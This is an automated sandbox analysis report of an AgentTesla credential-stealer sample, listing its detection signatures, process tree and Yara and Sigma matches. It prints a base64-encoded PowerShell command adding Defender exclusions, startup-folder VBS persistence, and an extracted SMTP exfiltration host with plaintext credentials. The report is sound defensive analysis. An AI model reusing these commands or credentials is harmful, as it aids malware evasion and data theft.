Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe
Analysis ID:	1636051
MD5:	449c6834fbe66f37711d1de4666b3e48
SHA1:	1eeb82fd406972c262204a9ec454da719319c150
SHA256:	8977bc2c77c7b63e42bd2824ba65b3696c8910f42b75b1fcdcbd62b602081e99
Tags:	exeuser-SecuriteInfoCom
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

Contains functionality to log keystrokes (.Net Source)

Drops VBS files to the startup folder

Encrypted powershell cmdline option found

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses ipconfig to lookup or modify the Windows network settings

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe (PID: 6332 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe" MD5: 449C6834FBE66F37711D1DE4666B3E48)

cmd.exe (PID: 4140 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 4724 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

powershell.exe (PID: 4124 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABmAHIAbwBuAHQAZABlAHMAawBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZgByAG8AbgB0AGQAZQBzAGsAXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAHAAYQBnAGUALgBlAHgAZQA= MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 5476 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

InstallUtil.exe (PID: 2560 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 2436 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 2752 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

svchost.exe (PID: 7092 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

wscript.exe (PID: 6904 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

page.exe (PID: 5732 cmdline: "C:\Users\user\AppData\Roaming\page.exe" MD5: 449C6834FBE66F37711D1DE4666B3E48)

cmd.exe (PID: 7284 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 7336 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

InstallUtil.exe (PID: 7444 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 7476 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 7540 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "25", "Host": "mail.iaa-airferight.com", "Username": "admin@iaa-airferight.com", "Password": "manlikeyou88"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000018.00000002.2075581936.000000000335E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000011.00000002.1607423851.0000000003BAC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.1607423851.0000000003BAC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1213492096.0000000003F4E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1213492096.0000000003F4E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000011.00000002.1607423851.0000000003B38000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.1607423851.0000000003B38000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1213492096.0000000003DA9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1213492096.0000000003DA9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.1537687917.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000011.00000002.1588133995.0000000002B5F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000018.00000002.2075581936.0000000003311000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.2075581936.0000000003311000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.1533662622.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.1533662622.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000011.00000002.1607423851.0000000003D0B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1213492096.0000000003C84000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1221141851.0000000005F40000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.1537687917.0000000002A51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.1537687917.0000000002A51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1204012379.0000000002BEF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe PID: 6332	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe PID: 6332	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe PID: 6332	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe PID: 6332	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 2560	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 2560	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: page.exe PID: 5732	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: page.exe PID: 5732	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: page.exe PID: 5732	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: page.exe PID: 5732	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 7444	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 7444	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.5f40000.8.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.5f40000.8.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316cb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3173d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317c7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31859:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318c3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31935:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319cb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a5b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.page.exe.3b39550.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.page.exe.3b39550.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
17.2.page.exe.3b39550.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316cb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3173d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317c7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31859:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318c3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31935:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319cb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a5b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.page.exe.3b39550.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.page.exe.3b39550.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
17.2.page.exe.3b39550.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334cb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3353d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335c7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33659:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336c3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33735:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337cb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3385b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334cb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3353d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335c7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33659:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336c3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33735:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337cb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3385b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
8.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.2.InstallUtil.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334cb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3353d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335c7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33659:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336c3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33735:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337cb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3385b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 12 entries

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c ipconfig /release, CommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, ParentProcessId: 6332, ParentProcessName: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release, ProcessId: 4140, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABmAHIAbwBuAHQAZABlAHMAawBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZgByAG8AbgB0AGQAZQBzAGsAXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAHAAYQBnAGUALgBlAHgAZQA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABmAHIAbwBuAHQAZABlAHMAawBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZgByAG8AbgB0AGQAZQBzAGsAXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAHAAYQBnAGUALgBlAHgAZQA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, ParentProcessId: 6332, ParentProcessName: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZ

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4088, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs" , ProcessId: 6904, ProcessName: wscript.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABmAHIAbwBuAHQAZABlAHMAawBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZgByAG8AbgB0AGQAZQBzAGsAXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAHAAYQBnAGUALgBlAHgAZQA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc 